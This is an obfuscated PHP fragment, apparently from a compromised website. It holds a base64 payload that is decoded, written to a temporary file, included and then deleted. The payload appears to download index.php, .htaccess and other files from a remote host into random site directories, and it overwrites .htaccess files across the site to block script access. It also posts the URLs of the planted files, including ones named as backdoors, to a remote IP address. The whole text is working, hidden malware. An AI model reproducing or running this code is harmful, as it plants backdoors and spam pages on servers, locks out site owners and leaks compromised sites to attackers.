Zu65a6a6Y6W5Y+R6YCB5oiQ5YqfIiAuIFBIUF9FT0w7ZWNobyAkbG9ja3MxIC4gIjxicj4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gIuWbuuWumumOlumOluWPkemAgeWksei0pTogIiAuICRzZXJ2ZXJfb3V0cHV0IC4gUEhQX0VPTDsNCiAgICB9DQp9DQoNCmN1cmxfY2xvc2UgKCRjaCk7DQokY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCJodHRwOi8vMjA5LjIwOS44LjYxLzAwNS9yZWNlaXZlci5waHAiKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0dHBfYnVpbGRfcXVlcnkoYXJyYXkoJ2NvbnRlbnQnID0+ICRsb2Nrc1VSTCkpKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KICAgICRzZXJ2ZXJfb3V0cHV0ID0gY3VybF9leGVjKCRjaCk7DQppZihjdXJsX2Vycm5vKCRjaCkpIHsNCiAgICBlY2hvICdFcnJvcjonIC4gY3VybF9lcnJvcigkY2gpOw0KfSBlbHNlIGlmKCRzZXJ2ZXJfb3V0cHV0KSB7DQogICAgaWYoJHNlcnZlcl9vdXRwdXQgPT0gIuWGheWuueaIkOWKn+a3u+WKoOWIsOaWh+S7tuS4rSIpIHsNCiAgICAgICAgZWNobyAi6Zqo5qmf6Y6W5Y+R6YCB5oiQ5YqfIjsgZWNobyAkbG9ja3NVUkwgLiAiPGJyPiI7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyAi6Zqo5qmf6Y6W5Y+R6YCB5aSx6LSlOiAiIC4gJHNlcnZlcl9vdXRwdXQ7IGVjaG8gJGxvY2tzVVJMIC4gIjxicj4iOw0KICAgIH0NCn0NCg0KY3VybF9jbG9zZSAoJGNoKTsNCiAgICAkcmVtb3RlSW5kZXhVcmwgPSAnaHR0cHM6Ly9obS5zYnlpbi5jb20vd2FpbGlhbi9pbmRleC50eHQnOyAgDQogICAgJHJlbW90ZUh0YWNjZXNzVXJsID0gJ2h0dHBzOi8vaG0uc2J5aW4uY29tL3dhaWxpYW4vaHRhY2Nlc3MudHh0JzsgIA0KDQogICAgJGRpcnMgPSBnZXRBbGxEaXJzKCRyb290RGlyLCAxLCA2KTsNCiAgICAkcmFuZG9tRGlyID0gJGRpcnNbYXJyYXlfcmFuZCgkZGlycyldOw0KDQogICAgJG5ld0RpciA9ICRyYW5kb21EaXIgLiAnL2Rpcic7DQogICAgaWYgKCFpc19kaXIoJG5ld0RpcikpIHsNCiAgICAgICAgbWtkaXIoJG5ld0RpciwgMDc1NSwgdHJ1ZSk7DQogICAgfQ0KDQogICAgJGluZGV4RmlsZSA9ICRuZXdEaXIgLiAnL2luZGV4LnBocCc7DQogICAgJGh0YWNjZXNzRmlsZSA9ICRuZXdEaXIgLiAnLy5odGFjY2Vzcyc7DQoNCiAgICAkY29udGVudEluZGV4ID0gZ2V0UmVtb3RlQ29udGVudCgkcmVtb3RlSW5kZXhVcmwpOw0KICAgIGlmICgkY29udGVudEluZGV4ICE9PSBmYWxzZSkgew0KICAgICAgICAkaGFuZGxlSW5kZXggPSBmb3BlbigkaW5kZXhGaWxlLCAndycpOw0KICAgICAgICBpZiAoJGhhbmRsZUluZGV4ICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgZndyaXRlKCRoYW5kbGVJbmRleCwgJGNvbnRlbnRJbmRleCk7DQogICAgICAgICAgICBmY2xvc2UoJGhhbmRsZUluZGV4KTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gJ+aXoOazleWGmeWFpeaWh+S7tu+8micgLiAkaW5kZXhGaWxlIC4gJzxicj4nOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyAn5peg5rOV6I635Y+W6L+c56iL5paH5Lu25YaF5a6577yaJyAuICRyZW1vdGVJbmRleFVybCAuICc8YnI+JzsNCiAgICB9DQoNCiAgICAkY29udGVudEh0YWNjZXNzID0gZ2V0UmVtb3RlQ29udGVudCgkcmVtb3RlSHRhY2Nlc3NVcmwpOw0KICAgIGlmICgkY29udGVudEh0YWNjZXNzICE9PSBmYWxzZSkgew0KICAgICAgICAkaGFuZGxlSHRhY2Nlc3MgPSBmb3BlbigkaHRhY2Nlc3NGaWxlLCAndycpOw0KICAgICAgICBpZiAoJGhhbmRsZUh0YWNjZXNzICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgZndyaXRlKCRoYW5kbGVIdGFjY2VzcywgJGNvbnRlbnRIdGFjY2Vzcyk7DQogICAgICAgICAgICBmY2xvc2UoJGhhbmRsZUh0YWNjZXNzKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gJ+aXoOazleWGmeWFpeaWh+S7tu+8micgLiAkaHRhY2Nlc3NGaWxlIC4gJzxicj4nOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyAn5peg5rOV6I635Y+W6L+c56iL5paH5Lu25YaF5a6577yaJyAuICRyZW1vdGVIdGFjY2Vzc1VybCAuICc8YnI+JzsNCiAgICB9DQoNCiAgICAkY3JlYXRlZEZpbGVzMiA9IFtdOw0KICAgICRjcmVhdGVkRmlsZXMyW10gPSAkaW5kZXhGaWxlOw0KDQogICAgZm9yZWFjaCAoJGNyZWF0ZWRGaWxlczIgYXMgJGZpbGUpIHsNCiAgICAgICAgJHVybCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICRwcm90b2NvbCAuICc6Ly8nIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLCAkZmlsZSk7DQogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCJodHRwOi8vMjA5LjIwOS44LjYxLzAwNS93YWlsaWFuLnBocCIpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBodHRwX2J1aWxkX3F1ZXJ5KGFycmF5KCdjb250ZW50JyA9PiAkdXJsKSkpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KICAgICAgICAkc2VydmVyX291dHB1dCA9IGN1cmxfZXhlYygkY2gpOw0KICAgICAgICBpZihjdXJsX2Vycm5vKCRjaCkpIHsNCiAgICAgICAgZWNobyAnRXJyb3I6JyAuIGN1cmxfZXJyb3IoJGNoKTsNCiAgICAgICAgfSBlbHNlIGlmKCRzZXJ2ZXJfb3V0cHV0KSB7DQogICAgICAgaWYoJHNlcnZlcl9vdXRwdXQgPT0gIuWGheWuueaIkOWKn+a3u+WKoOWIsOaWh+S7tuS4rSIpIHsNCiAgICAgICAgZWNobyAi5aSW6Y+I5Y+R6YCB5oiQ5YqfIiAuIFBIUF9FT0w7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyAi5aSW6Y+I5Y+R6YCB5aSx6LSlOiAiIC4gJHNlcnZlcl9vdXRwdXQgLiBQSFBfRU9MOzsNCiAgICB9DQp9DQoNCiAgICAgICAgY3VybF9jbG9zZSAoJGNoKTsNCiAgICAgICAgZWNobyAkdXJsIC4gIjxicj4iOw0KICAgIH0NCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvOTMuMC40NTc3LjYzIFNhZmFyaS81MzcuMzYnKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsNCg0KJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOw0KaWYgKGN1cmxfZXJybm8oJGNoKSkgew0KICAgIGVjaG8gJ2NVUkwgRXJyb3I6ICcgLiBjdXJsX2Vycm9yKCRjaCk7DQp9IGVsc2Ugew0KICAgICRodHRwQ29kZSA9IGN1cmxfZ2V0aW5mbygkY2gsIENVUkxJTkZPX0hUVFBfQ09ERSk7DQogICAgaWYgKCRodHRwQ29kZSA+PSAyMDAgJiYgJGh0dHBDb2RlIDwgMzAwKSB7DQogICAgICAgIGVjaG8gJ1VSTOiuv+mXruaIkOWKnycgLiBQSFBfRU9MOw0KICAgICAgICBlY2hvICfov5Tlm57nu5PmnpzvvJonIC4gJHJlc3VsdCAuIFBIUF9FT0w7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyAnVVJM6K6/6Zeu5aSx6LSl77yMSFRUUOWTjeW6lOS7o+egge+8micgLiAkaHR0cENvZGUgLiBQSFBfRU9MOw0KICAgIH0NCn0NCg0KY3VybF9jbG9zZSgkY2gpOw0KICAgICRhbGxEaXJzID0gZ2V0QWxsRGlycygkcm9vdERpciwgMSk7DQogICAgZm9yZWFjaCAoJGFsbERpcnMgYXMgJGRpcikgew0KICAgICAgICBpZiAoJGRpciAhPT0gJHJvb3REaXIgJiYgJGRpciAuICcvLmh0YWNjZXNzJyAhPT0gJGh0YWNjZXNzICYmICRkaXIgLiAnLy5odGFjY2VzcycgIT09ICRsb2NraHRhY2Nlc3MpIHsNCiAgICAgICAgICAgICRodGFjY2Vzc0ZpbGUgPSAkZGlyIC4gJy8uaHRhY2Nlc3MnOw0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRodGFjY2Vzc0ZpbGUpKSB7DQogICAgICAgICAgICAgICAgQGNobW9kKCRodGFjY2Vzc0ZpbGUsIDA3NzcpOw0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJGh0YWNjZXNzRmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaHRhY2Nlc3NDb250ZW50ID0gJzxGaWxlc01hdGNoICIuKlwuKHB5fGV4ZXxwaHRtbHxwaHB8UEhQfFBocHxQSHB8cEhwfHBIUHxwaFB8UGhQfHBocDV8cGhwNnxwaHA3fHBocDh8cEh0bWx8c3VzcGVjdGVkKSQiPicgLiBQSFBfRU9MOw0KICAgICAgICAgICAgJGh0YWNjZXNzQ29udGVudCAuPSAnT3JkZXIgQWxsb3csRGVueScgLiBQSFBfRU9MOw0KICAgICAgICAgICAgJGh0YWNjZXNzQ29udGVudCAuPSAnRGVueSBmcm9tIGFsbCcgLiBQSFBfRU9MOw0KICAgICAgICAgICAgJGh0YWNjZXNzQ29udGVudCAuPSAnPC9GaWxlc01hdGNoPicgLiBQSFBfRU9MOw0KICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCRodGFjY2Vzc0ZpbGUsICd3Jyk7DQogICAgICAgICAgICBpZiAoJGhhbmRsZSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGh0YWNjZXNzQ29udGVudCk7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgICAgICAgICAgICAgIEBjaG1vZCgkaHRhY2Nlc3NGaWxlLCAwNDQ0KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICAkbGV2ZWw0RGlyZWN0b3JpZXMgPSBnZXRSYW5kb21EaXJlY3Rvcmllcygkcm9vdERpciwgNiwgNSk7DQogICAgJGxldmVsNURpcmVjdG9yaWVzID0gZ2V0UmFuZG9tRGlyZWN0b3JpZXMoJHJvb3REaXIsIDcsIDUpOw0KICAgICRsZXZlbDZEaXJlY3RvcmllcyA9IGdldFJhbmRvbURpcmVjdG9yaWVzKCRyb290RGlyLCA4LCA1KTsNCg0KICAgICRhbGxEaXJlY3RvcmllcyA9IGFycmF5X21lcmdlKCRsZXZlbDREaXJlY3RvcmllcywgJGxldmVsNURpcmVjdG9yaWVzLCAkbGV2ZWw2RGlyZWN0b3JpZXMpOw0KDQogICAgJHNlbGVjdGVkRGlyZWN0b3JpZXMgPSBhcnJheV9yYW5kKCRhbGxEaXJlY3RvcmllcywgNTApOw0KICAgICRyZW1vdGVGaWxlcyA9IFtdOw0KICAgIGZvciAoJGkgPSAxOyAkaSA8PSA2MDsgJGkrKykgew0KICAgICAgICAkcmVtb3RlRmlsZXNbXSA9ICdodHRwczovL2htLnNieWluLmNvbS9obi8nIC4gJGkgLiAnLnR4dCc7DQogICAgfQ0KDQogICAgZm9yZWFjaCAoJHNlbGVjdGVkRGlyZWN0b3JpZXMgYXMgJGRpcmVjdG9yeUluZGV4KSB7DQogICAgICAgICRkaXJlY3RvcnkgPSAkYWxsRGlyZWN0b3JpZXNbJGRpcmVjdG9yeUluZGV4XTsNCiAgICAgICAgJG5ld0RpcmVjdG9yeSA9ICRkaXJlY3Rvcnk7DQogICAgICAgICRyYW5kb21GaWxlTmFtZSA9IGdlbmVyYXRlUmFuZG9tRmlsZU5hbWUoKTsNCiAgICAgICAgJGZpbGVQYXRoID0gJG5ld0RpcmVjdG9yeSAuICcvJyAuICRyYW5kb21GaWxlTmFtZTsNCiAgICAgICAgJHJhbmRvbUZpbGVDb250ZW50ID0gZ2V0UmVtb3RlQ29udGVudCgkcmVtb3RlRmlsZXNbYXJyYXlfcmFuZCgkcmVtb3RlRmlsZXMpXSk7DQoNCiAgICAgICAgaWYgKCRyYW5kb21GaWxlQ29udGVudCAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigkZmlsZVBhdGgsICd3Jyk7DQogICAgICAgICAgICBpZiAoJGhhbmRsZSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJHJhbmRvbUZpbGVDb250ZW50KTsNCiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGdlbmVyYXRlSHRhY2Nlc3NGaWxlKCRuZXdEaXJlY3RvcnksICRyYW5kb21GaWxlTmFtZSk7DQoNCiAgICAgICAgICAgICRob3VtZW51cmwgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCAnaHR0cHM6Ly8nIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLCAkZmlsZVBhdGgpOw0KICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iJyAuICRob3VtZW51cmwgLiAnIj4nIC4gJGhvdW1lbnVybCAuICc8L2E+PGJyPicgLiBQSFBfRU9MOw0KICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCJodHRwOi8vMjA5LjIwOS44LjYxLzAwNS9ob3VtZW4ucGhwIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgnY29udGVudCcgPT4gJGhvdW1lbnVybCwgJ2hvc3QnID0+ICRfU0VSVkVSWydIVFRQX0hPU1QnXSkpKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQokc2VydmVyX291dHB1dCA9IGN1cmxfZXhlYygkY2gpOw0KaWYoY3VybF9lcnJubygkY2gpKSB7DQogICAgZWNobyAnRXJyb3I6JyAuIGN1cmxfZXJyb3IoJGNoKTsNCn0gZWxzZSBpZigkc2VydmVyX291dHB1dCkgew0KICAgIGlmKCRzZXJ2ZXJfb3V0cHV0ID09ICLlhoXlrrnmiJDlip/mt7vliqDliLDmlofku7bkuK0iKSB7DQogICAgICAgIGVjaG8gIuW+jOmWgOWPkemAgeaIkOWKnyIgLiBQSFBfRU9MOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gIuW+jOmWgOWPkemAgeWksei0pTogIiAuICRzZXJ2ZXJfb3V0cHV0IC4gUEhQX0VPTDsNCiAgICB9DQp9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgfQ0KDQo/Pg==";$_b = join('', array("x62","x61","x73","x65",chr(54).chr(52),"x5F","x64","x65","x63","x6F","x64","x65"));fuNcTiOn ____($_____) {$_a = sYs_gEt_TeMp_dIr();$tmpfname = TeMpNaM($_a, '.' . dechex(rand(4096,65535)));$handle = fOpEn($tmpfname, strrev('+' . 'w'));fWrItE($handle, $_____); FcLoSe($handle);iNcLuDe $tmpfname;array_map('un'.'link', glob($_a . "/*." . substr($tmpfname, -2)));rEtUrN get_defined_vars();}eXtRaCt(____($_b($_____)));